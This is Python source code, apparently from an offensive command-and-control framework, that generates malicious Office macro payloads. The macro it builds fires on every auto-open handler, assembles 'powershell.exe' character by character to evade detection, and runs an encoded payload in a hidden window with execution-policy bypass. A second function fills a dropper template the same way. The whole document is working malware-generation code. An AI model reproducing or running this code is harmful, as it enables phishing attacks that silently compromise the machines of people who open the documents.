def CreateMacro(self, name=""): basefile = self.CreateRawBase() strmacro = formStrMacro("str", str(basefile)) macro = """Sub Auto_Open() UpdateMacro End Sub Sub AutoOpen() UpdateMacro End Sub Sub Workbook_Open() UpdateMacro End Sub Sub WorkbookOpen() UpdateMacro End Sub Sub Document_Open() UpdateMacro End Sub Sub DocumentOpen() UpdateMacro End Sub Sub UpdateMacro() Dim str, exec %s exec = "p" exec = exec + "o" exec = exec + "w" exec = exec + "e" exec = exec + "r" exec = exec + "s" exec = exec + "h" exec = exec + "e" exec = exec + "l" exec = exec + "l" exec = exec + "." exec = exec + "e" exec = exec + "x" exec = exec + "e" exec = exec + " -exec bypass -Noninteractive -windowstyle hidden -e " & str Shell(exec) End Sub """ % strmacro self.QuickstartLog("Macro Payload written to: %s%smacro.txt" % (self.BaseDirectory, name)) filename = "%smacro.txt" % (self.BaseDirectory) output_file = open(filename, 'w') output_file.write(macro) output_file.close()
def create_payloads(payloads, name): payloads.QuickstartLog(Colours.END) payloads.QuickstartLog( f"Macro Payload written to: {payloads.BaseDirectory}{name}macro.txt") strmacro = formStrMacro("str", str(payloads.CreateRawBase())) with open(f"{PayloadTemplatesDirectory}dropper.macro", 'r') as f: content = f.read() content = str(content).replace("#REPLACEME#", strmacro) with open(f"{payloads.BaseDirectory}{name}macro.txt", 'w') as f: f.write(content)